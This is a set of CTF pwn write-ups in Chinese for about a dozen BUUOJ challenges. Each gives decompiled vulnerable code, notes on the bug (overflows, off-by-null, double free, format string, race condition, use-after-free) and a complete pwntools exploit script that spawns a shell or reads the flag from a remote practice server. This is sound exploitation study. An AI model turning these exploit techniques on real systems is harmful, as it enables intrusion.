hxb_pwn300 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; int times; int *ptr; int index; times = 0 ; setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); Welcome(); printf ("How many times do you want to calculate:" ); _isoc99_scanf("%d" , ×); if ( times <= 3 || times > 255 ) { puts ("wrong input!" ); exit (-1 ); } ptr = (int *)malloc (4 * times); index = 0 ; while ( index < times ) { PrintMenu(); _isoc99_scanf("%d" , &v4); switch ( v4 ) { case 1 : Add(); ptr[index] = ResultAdd; goto LABEL_11; case 2 : Sub(); ptr[index] = ResultSub; goto LABEL_11; case 3 : Mul(); ptr[index] = ResultMul; goto LABEL_11; case 4 : Div(); ptr[index] = ResultDiv; goto LABEL_11; case 5 : memcpy (&v5, ptr, 4 * times); free (ptr); return 0 ; default : puts ("wrong input!" ); LABEL_11: ++index; break ; } } return 0 ; }
第5个功能存在溢出,借助add这个函数可以控制返回地址,所以times改大,又因为这题是静态编译,所以直接–ropchain,然后修一下,修成直接发送地址的格式即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './pwn300' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 26836 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) r.sendlineafter('How many times do you want to calculate:' , '200' ) def add (addr ): r.sendlineafter('5 Save the result\n' , '1' ) r.sendlineafter('input the integer x:' , '0' ) r.sendlineafter('input the integer y:' , str (addr)) for i in range (16 ): add(0 ) from struct import packadd(0x0806ed0a ) add(0x080ea060 ) add(0x080bb406 ) add(0x6e69622f ) add(0x080a1dad ) add(0x0806ed0a ) add(0x080ea064 ) add(0x080bb406 ) add(0x68732f2f ) add(0x080a1dad ) add(0x0806ed0a ) add(0x080ea068 ) add(0x08054730 ) add(0x080a1dad ) add(0x080481c9 ) add(0x080ea060 ) add(0x0806ed31 ) add(0x080ea068 ) add(0x080ea060 ) add(0x0806ed0a ) add(0x080ea068 ) add(0x08054730 ) add(0x0807b75f ) add(0x0807b75f ) add(0x0807b75f ) add(0x0807b75f ) add(0x0807b75f ) add(0x0807b75f ) add(0x0807b75f ) add(0x0807b75f ) add(0x0807b75f ) add(0x0807b75f ) add(0x0807b75f ) add(0x08049781 ) r.sendlineafter('5 Save the result\n' , '5' ) r.interactive()
ciscn_2019_ne_6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned __int64 delete () { unsigned int index; void *ptr; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("index:" ); index = sub_D5D(); if ( index <= 9 ) { ptr = (void *)heap_ptr[index].ptr; heap_ptr[index].size = 0LL ; heap_ptr[index].ptr = 0LL ; } if ( ptr ) free (ptr); return __readfsqword(0x28 u) ^ v3; }
这里出现了一个ptr未初始化的漏洞,因为当index不在上面那个if范围的时候就会直接free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned __int64 sub_F0D () { char s[40 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); memset (s, 0 , sizeof (s)); printf ("passwd:" ); sub_DEA(s, 0x28 ); if ( !strncmp (s, password, 0x28 uLL) ) printf ("I will tell you magic's address: %p\n" , password); else puts ("No No No you are not root." ); return __readfsqword(0x28 u) ^ v2; }
最关键的是delete上面一个函数可以去改ptr这个指针,也就是利用F0D这个函数去写ptr指针,再利用delete函数去释放这个指针,这样就可以达到double free效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './ciscn_2019_ne_6' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 25211 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = '>> ' def show (): r.sendlineafter(menu, '1' ) def add (password, size, content ): r.sendlineafter(menu, '2' ) r.sendlineafter('passwd:' , password) r.sendlineafter('size:' , str (size)) r.sendlineafter('Content:' , content) def edit (password, index, content ): r.sendlineafter(menu, '3' ) r.sendlineafter('passwd:' , password) r.sendlineafter('index:' , str (index)) r.sendlineafter('Content:' , content) def delete (password, index ): r.sendlineafter(menu, '4' ) r.sendlineafter('passwd:' , password) r.sendlineafter('index:' , str (index)) add('a' , 0x410 , 'aaaaa' ) add('a' , 0x20 , 'bbbbb' ) add('a' , 0x20 , 'cccc' ) delete('a' , 0 ) add('a' , 0x410 , 'a' * 8 ) show() malloc_hook = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 - 0x10 li('malloc_hook = ' + hex (malloc_hook)) libc = ELF('./2.27/libc-2.27.so' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] li('libc_base = ' + hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] li('free_hook = ' + hex (free_hook)) delete('a' * 0x27 , 2 ) delete('a' * 0x27 , 1 ) add('a' , 0x20 , '' ) show() r.recvuntil('1: ' ) heap_ptr = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('heap_ptr = ' + hex (heap_ptr)) r.sendlineafter(menu, '4' ) r.sendafter('passwd:' , b'a' * 0x20 + p64(heap_ptr)) r.sendlineafter('index:' , '99' ) add('a' , 0x20 , p64(free_hook)) one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[1 ] + libc_base add('a' , 0x20 , 'aaaa' ) add('a' , 0x20 , p64(one_gadget)) delete('a' , 0 ) r.interactive()
pwnable_secret_of_my_heart 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 _BYTE *__fastcall sub_D27 (Data *ptr, size_t size) { _BYTE *result; ptr->size = size; printf ("Name of heart :" ); vuln_read(ptr->name, 0x20 u); ptr->content = (__int64)malloc (size); if ( !ptr->content ) { puts ("Allocate Error !" ); exit (0 ); } printf ("secret of my heart :" ); result = (_BYTE *)(ptr->content + (int )vuln_read((void *)ptr->content, size)); *result = 0 ; return result; }
在add里出现了off-by-null,2.23直接堆重叠,最后通过double free错误来getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './secret_of_my_heart' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 27358 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = 'Your choice :' def add (size, name, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('Size of heart : ' , str (size)) r.sendafter('Name of heart :' , name) r.sendafter('secret of my heart :' , content) def show (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('Index :' , str (index)) def delete (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('Index :' , str (index)) add(0xf8 , 'aaaaa' , 'b' ) add(0x68 , 'aaaaa' , 'c' ) add(0xf8 , 'aaaaa' , 'd' ) add(0x60 , 'aaaaa' , 'e' ) delete(0 ) delete(1 ) add(0x68 , 'aaaaa' , b'c' * 0x60 + p64(0x100 + 0x70 )) delete(2 ) add(0xf8 , 'aaaaa' , 'f' ) show(0 ) malloc_hook = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 88 - 0x10 li('malloc_hook = ' + hex (malloc_hook)) libc = ELF('./libc-2.23.so' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] li('libc_base = ' + hex (libc_base)) one = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] one_gadget = one[2 ] + libc_base realloc_hook = libc_base + libc.sym['__realloc_hook' ] add(0x68 , 'aaaaa' , b'g' ) delete(2 ) delete(3 ) delete(0 ) add(0x68 , 'aaaaa' , p64(malloc_hook - 0x23 )) add(0x68 , 'aaaaa' , 'bbbbb' ) add(0x68 , 'aaaaa' , 'ccccc' ) add(0x68 , 'aaaaa' , b'\x00' * 0x13 + p64(one_gadget)) delete(0 ) delete(3 ) r.interactive()
pwnable_otp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> int main (int argc, char * argv[]) { char fname[128 ]; unsigned long long otp[2 ]; if (argc!=2 ){ printf ("usage : ./otp [passcode]\n" ); return 0 ; } int fd = open("/dev/urandom" , O_RDONLY); if (fd==-1 ) exit (-1 ); if (read(fd, otp, 16 )!=16 ) exit (-1 ); close(fd); sprintf (fname, "/tmp/%llu" , otp[0 ]); FILE* fp = fopen(fname, "w" ); if (fp==NULL ){ exit (-1 ); } fwrite(&otp[1 ], 8 , 1 , fp); fclose(fp); printf ("OTP generated.\n" ); unsigned long long passcode=0 ; FILE* fp2 = fopen(fname, "r" ); if (fp2==NULL ){ exit (-1 ); } fread(&passcode, 8 , 1 , fp2); fclose(fp2); if (strtoul(argv[1 ], 0 , 16 ) == passcode){ printf ("Congratz!\n" ); setuid(0 ); setgid(0 ); system("/bin/cat flag" ); } else { printf ("OTP mismatch\n" ); } unlink(fname); return 0 ; }
这里学到了ulimit -f 0
来限制进程创建文件的大小为0,这个题目意思就是从/dev/urandow
读16个字节,前8个字节做为文件名,后8个字节存在该文件内,最后读入比较
所以利用ulimit -f 0
使得无法写入文件,之后读的时候就是0,所以passcode为0
1 2 3 4 5 6 7 8 9 10 11 otp@out:~$ python Python 2.7 .15 + (default, Nov 27 2018 , 23 :36 :35 ) [GCC 7.3 .0 ] on linux2 Type "help" , "copyright" , "credits" or "license" for more information.>>> import os>>> os.system('./otp 0' )OTP generated. Congratz! flag{2949dd01-bb88-4738 -b337-89e7468e3cf7} 0 >>>
ciscn_2019_final_9 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int64 __fastcall safe_read (char *ptr, int size) { unsigned int index; unsigned __int64 v4; v4 = __readfsqword(0x28 u); index = 0 ; if ( size ) { while ( 1 ) { read(0 , &ptr[index], 1uLL ); if ( size - 1 < index || !ptr[index] || ptr[index] == 10 ) break ; ++index; } ptr[index] = 0 ; ptr[size] = 0 ; } else { *ptr = 0 ; } return __readfsqword(0x28 u) ^ v4; }
一个off-by-null,但是\x00的话会被截断,所以控制不了prev_size,这个时候就需要用到unsortedbin的一个知识,释放两个unsortedbin使得合并,此时,第三个chunk的prev_size就等于1 + 2,所以prev_size就被控制了,此时构造重叠即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './ciscn_final_9' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 26862 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = '> ' def add (size, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('size \n> ' , str (size)) r.sendlineafter('content \n> ' , content) def delete (index ): r.sendlineafter(menu, '2' ) r.sendlineafter('index \n> ' , str (index)) def show (index ): r.sendlineafter(menu, '3' ) r.sendlineafter('index \n> ' , str (index)) add(0xf0 , 'a' ) add(0xf0 , 'a' ) add(0xf0 , 'a' ) for i in range (7 ): add(0xf0 , 'b' ) for i in range (3 , 10 ): delete(i) delete(0 ) delete(1 ) delete(2 ) for i in range (7 ): add(0xf0 , 'b' ) add(0xf0 , 'b' * 8 ) add(0xf0 , 'b' ) add(0xf0 , 'b' ) for i in range (7 ): delete(i) delete(7 ) for i in range (7 ): add(0xf0 , 'c' ) delete(8 ) add(0xf8 , 'a' ) for i in range (7 ): delete(i) delete(9 ) for i in range (7 ): add(0xf0 , 'b' ) add(0xf0 , 'c' ) show(7 ) malloc_hook = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 96 - 0x10 li('malloc_hook = ' + hex (malloc_hook)) libc = ELF('./2.27/libc-2.27.so' ) libc_base = malloc_hook - libc.sym['__malloc_hook' ] free_hook = libc_base + libc.sym['__free_hook' ] one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[1 ] + libc_base add(0xf0 , 'd' ) delete(0 ) delete(1 ) delete(7 ) delete(9 ) add(0xf0 , p64(free_hook)) add(0xf0 , 'aaaa' ) add(0xf0 , p64(one_gadget)) delete(3 ) r.interactive()
hack_lu_2018_heap_heaven 1 2 3 4 5 __int64 __fastcall free_wrapper (__int64 offset) { free (&mmapped[offset]); return 0LL ; }
这个题还是挺有意思的,任意地址free
1 2 3 4 5 6 7 8 9 10 __int64 __fastcall leak_wrapper (__int64 offset) { const char **v2; v2 = (const char **)&mmapped[offset]; if ( &mmapped[offset] > &mmapped[MMAP_SIZE - 8 ] || v2 < (const char **)mmapped ) return 1LL ; puts (*v2); return 0LL ; }
在mmap区域后可以任意写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __cdecl main (int argc, const char **argv, const char **envp) { Data *v3; Data *v4; int v6; unsigned __int64 buf; __int64 num; __int64 v9; __int64 v10; __int64 v11; unsigned __int64 v12; v12 = __readfsqword(0x28 u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); buf = 0LL ; state = (Data *)malloc (0x10 uLL); v3 = state; v3->func = malloc (0x10 uLL); *(_QWORD *)state->func = bye; *((_QWORD *)state->func + 1 ) = menu; v4 = state;
还有个关键的是state->func + 1 = menu;
,漏洞利用思路看了ha1vk师傅的,因为可以任意地址free,所以先弄出unsortedbin,这样子就可以泄露出top_chunk,从而再利用leak功能leak出libc,elf_base,这些基址,最后可以得到state的地址,在mmap那里构造一个fake_chunk,使得释放后+state->func那里的state->func + 1落在ogg上即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './hack_lu_2018_heap_heaven' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 26473 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() menu = '[5] : exit\n' def write (size, offset, content ): r.sendlineafter(menu, '1' ) r.sendlineafter('How much do you want to write?\n' , str (size)) r.sendlineafter('At which offset?\n' , str (offset)) r.send(content) def delete (offset ): r.sendlineafter(menu, '3' ) r.sendlineafter('At which offset do you want to free?\n' , str (offset)) def show (offset ): r.sendlineafter(menu, '4' ) r.sendlineafter('At which offset do you want to leak?\n' , str (offset)) p1 = p64(0 ) + p64(0x91 ) p1 += b'a' * 0x80 p1 += p64(0 ) + p64(0x21 ) p1 += b'a' * 0x10 p1 += p64(0 ) + p64(0x21 ) p1 += b'a' * 0x10 p1 += p64(0 ) + p64(0x21 ) p1 += b'a' * 0x10 write(len (p1), 0 , p1) delete(0x10 ) show(0x10 ) top_chunk_addr = u64(r.recv(6 ).ljust(8 , b'\x00' )) li('top_chunk_addr = ' + hex (top_chunk_addr)) p2 = p64(top_chunk_addr - 0x10 ) write(len (p2), 0 , p2) show(0 ) elf_base = u64(r.recv(6 ).ljust(8 , b'\x00' )) - 0x1670 li('elf_base = ' + hex (elf_base)) state_addr = 0x4040 + elf_base li('state_addr = ' + hex (state_addr)) puts_got = elf.got['puts' ] + elf_base li('puts_got = ' + hex (puts_got)) p3 = p64(puts_got) write(len (p3), 0 , p3) show(0 ) puts_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('puts_addr = ' + hex (puts_addr)) libc = ELF('./libc-2.23.so' ) libc_base = puts_addr - libc.sym['puts' ] li('libc_base = ' + hex (libc_base)) one = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] one_gadget = one[2 ] + libc_base mmapd_addr = 0x4048 + elf_base + 1 p4 = p64(mmapd_addr) write(len (p4), 0 , p4) show(0 ) mmap_addr = u64(r.recv(4 ).ljust(8 , b'\x00' )) << 8 li('mmap_addr = ' + hex (mmap_addr)) p5 = p64(0 ) + p64(0x21 ) p5 += b'a' * 0x10 p5 += p64(0 ) + p64(0x21 ) p5 += b'a' * 0x10 write(len (p5), 0 , p5) delete(0x10 ) p6 = p64(one_gadget) write(len (p6), 8 , p6) delete(top_chunk_addr - 0x30 - mmap_addr) r.interactive()
suctf_2019_playfmt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 int do_fmt (void ) { int result; while ( 1 ) { read(0 , buf, 0xC8 u); result = strncmp (buf, "quit" , 4u ); if ( !result ) break ; printf (buf); } return result; }
非栈上的格式化漏洞,正常泄露,任意写的话要借助链子,直接套了一个板子,libc明明一样,结果ogg出来不一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) file_name = './suctf_2019_playfmt' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 28361 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() p1 = '%6$p.%23$p' r.sendline(p1) r.recvuntil('0x' ) stack_addr = int (r.recv(8 ), 16 ) li('stack_addr = ' + hex (stack_addr)) r.recvuntil('0x' ) __libc_start_main = int (r.recv(8 ), 16 ) li('__libc_start_main = ' + hex (__libc_start_main)) libc = ELF('libc-2.27.so' ) libc_base = __libc_start_main - libc.sym['__libc_start_main' ] - 241 one = [0x3cbea , 0x3cbec , 0x3cbf0 , 0x3cbf7 , 0x6729f , 0x672a0 , 0x13573e , 0x13573f ] one_gadget = one[3 ] + libc_base def write_address (off0,off1,target_addr ): r.sendline("%{}$p" .format (off1)) r.recvuntil("0x" ) addr1 = int (r.recv(8 ),16 )&0xff r.recv() for i in range (4 ): r.sendline("%{}c%{}$hhn" .format (addr1+i,off0)) r.recv() r.sendline("%{}c%{}$hhn" .format (target_addr&0xff ,off1)) r.recv() target_addr=target_addr>>8 r.sendline("%{}c%{}$hhn" .format (addr1,off0)) r.recv() write_address(6 , 14 , stack_addr - 0x1c ) write_address(14 , 26 , one_gadget) r.sendline('quit' ) r.interactive()
pwnable_dubblesort 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; unsigned int *ptr; unsigned int i; unsigned int j; int result; unsigned int v8; unsigned int v9[8 ]; char buf[64 ]; unsigned int v11; v11 = __readgsdword(0x14 u); sub_8B5(); __printf_chk(1 , "What your name :" ); read(0 , buf, 0x40 u); __printf_chk(1 , "Hello %s,How many numbers do you what to sort :" ); __isoc99_scanf("%u" , &v8); v3 = v8; if ( v8 ) { ptr = v9; for ( i = 0 ; i < v8; ++i ) { __printf_chk(1 , "Enter the %d number : " ); fflush(stdout ); __isoc99_scanf("%u" , ptr); v3 = v8; ++ptr; } } sub_931(v9, v3); puts ("Result :" ); if ( v8 ) { for ( j = 0 ; j < v8; ++j ) __printf_chk(1 , "%u " ); } result = 0 ; if ( __readgsdword(0x14 u) != v11 ) sub_BA0(); return result; }
read这里可以信息泄露,然后这里用了一个知识点,%u遇见+并不会写入东西,所以覆盖canary的时候直接利用+号来覆盖,这样的话就可以绕过canary了,v8并没有大小限制,所以可以不并的输入数据造成栈溢出,打ret为system即可,要算好次数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) file_name = './dubblesort' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 25621 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() dbgg() r.sendlineafter('What your name :' , 'A' * 24 ) leak_addr = u32(r.recvuntil('\xf7' )[-4 :]) libc = ELF('./libc-2.23.so' ) li('leak_addr = ' + hex (leak_addr)) libc_base = leak_addr - 0x1b000a li('libc_base = ' + hex (libc_base)) system_addr = libc_base + libc.sym['system' ] bin_sh = libc_base + libc.search(b'/bin/sh' ).__next__() r.sendlineafter('How many numbers do you what to sort :' , '35' ) for i in range (24 ): r.sendlineafter('number : ' , '1' ) r.sendlineafter('number : ' , '+' ) for i in range (9 ): r.sendlineafter('number : ' , str (system_addr)) r.sendlineafter('number : ' , str (bin_sh)) r.interactive()
whctf2017_note_sys 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void *__fastcall sub_B86 (void *a1) { int v2; void **v3; v3 = (void **)ptr; ptr = (char *)ptr - 8 ; v2 = delete_flags - 1 ; usleep(0x1E8480 u); if ( delete_flags <= 0 ) { puts ("too less notes!!" ); ptr = (char *)ptr + 8 ; } else { free (*v3); delete_flags = v2; puts ("delete successfully!" ); } return 0LL ; }
这是一个子线程,可以对ptr进行操作,然后睡2秒,但是就造成了一个条件竞争的问题,在睡的时候可以继续delete,ptr会一直-8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 void *__fastcall start_routine (void *a1) { void **v2; ptr = (char *)ptr + 8 ; if ( ++delete_flags <= 34 ) { puts ("logged successfully!" ); v2 = (void **)ptr; *v2 = malloc (0x100 uLL); memset (*(void **)ptr, 0 , 0x100 uLL); memcpy (*(void **)ptr, a1, 0xFA uLL); } else { puts ("too many notes!!" ); ptr = (char *)ptr - 8 ; } return 0LL ; }
在add里,ptr这里会+上8,然后把content给拷贝到堆里去,这个堆的地址会保存在ptr里的指针里的地方
经过调试ptr里的值是2020C0,一直delete的话可以到got表那里,接着再add的话ptr里面是got表的地址,会把堆地址写到got表里,只需要在堆里布置shellcode,调用那个got即可getshell,这里选择puts,0x2020c0 - 0x202028 = 0x98 0x98 / 8 = 19 19 + 1 = 20
delete 20次再add即可控制puts的got
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './note_sys' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 27217 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() def delete (): r.sendlineafter('choice:' , '2' ) def add (content ): r.sendlineafter('choice:' , '0' ) r.sendlineafter('no more than 250 characters' , content) for i in range (20 ): delete() shellcode = asm(shellcraft.sh()) add(shellcode) r.interactive()
roarctf_2019_easyrop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { __int64 v3; char v5[1032 ]; __int64 v6; char v7; __int64 v8; dword_6030A0 = 0 ; sub_400FC4(a1, a2, a3); sub_401968(); fwrite(">> " , 1uLL , 3uLL , stdout ); fflush(stdout ); v8 = 0LL ; while ( !feof(stdin ) ) { v7 = fgetc(stdin ); if ( v7 == 10 ) break ; v3 = v8++; v6 = v3; v5[v3] = v7; } v5[v8] = 0 ; if ( (unsigned int )sub_401678(v5) ) { qsort(base, dword_6030AC, 0x200 uLL, compar); sub_401541(); } else { fflush(stdout ); sub_400E87(); } return 0LL ; }
存在溢出漏洞,但是需要注意会覆盖v8的值,想要正常溢出,需要把v8覆盖成0x428,v8距离v5是0x418,所以在覆盖的时候直接覆盖\x28这样子再继续写的话就直接控制ret了,一个orw即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) file_name = './roarctf_2019_easyrop' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] debug = 1 if debug: r = remote('node4.buuoj.cn' , 27437 ) else : r = process(file_name) elf = ELF(file_name) def dbg (): gdb.attach(r) def dbgg (): raw_input() dbgg() pop_rdi_ret = 0x0000000000401b93 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main_addr = 0x4019F3 p1 = b'a' * 0x418 + b'\x28' p1 += p64(pop_rdi_ret) + p64(puts_got) p1 += p64(puts_plt) + p64(main_addr) r.sendlineafter('>> ' , p1) puts_addr = u64(r.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) li('puts_addr = ' + hex (puts_addr)) libc = ELF('./2.27/libc-2.27.so' ) libc_base = puts_addr - libc.sym['puts' ] pop_rsi_ret = 0x0000000000023e6a + libc_base pop_rdx_ret = 0x0000000000001b96 + libc_base pop_rax_ret = 0x00000000000439c8 + libc_base gets = libc.sym['gets' ] + libc_base o = libc_base + libc.sym['open' ] read = libc_base + libc.sym['read' ] w = libc_base + libc.sym['write' ] flag_addr = 0x6801C8 + 0x100 p2 = b'a' * 0x418 + b'\x28' p2 += p64(pop_rdi_ret) + p64(flag_addr) p2 += p64(gets) p2 += p64(pop_rdi_ret) + p64(flag_addr) p2 += p64(pop_rsi_ret) + p64(0 ) p2 += p64(o) p2 += p64(pop_rdi_ret) + p64(3 ) p2 += p64(pop_rsi_ret) + p64(flag_addr) p2 += p64(pop_rdx_ret) + p64(0x50 ) p2 += p64(read) p2 += p64(pop_rdi_ret) + p64(0 ) p2 += p64(pop_rsi_ret) + p64(flag_addr) p2 += p64(pop_rdx_ret) + p64(0x50 ) p2 += p64(w) r.sendline(p2) r.sendline('./flag\x00' ) r.interactive()
others_pwn1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned __int64 delete () { unsigned int index; unsigned __int64 v2; v2 = __readfsqword(0x28 u); index = 0 ; puts ("Which book you want to delete?" ); _isoc99_scanf("%d" , &index); if ( index < 0x10 ) { if ( table[index] ) free (table[index]); --book_count; } else { puts ("Out of range!" ); } return __readfsqword(0x28 u) ^ v2; }
一个uaf,逆出结构体之后发现利用uaf,edit可以改desc的指针,相当于任意地址读和任意地址写,打hook为ogg即可
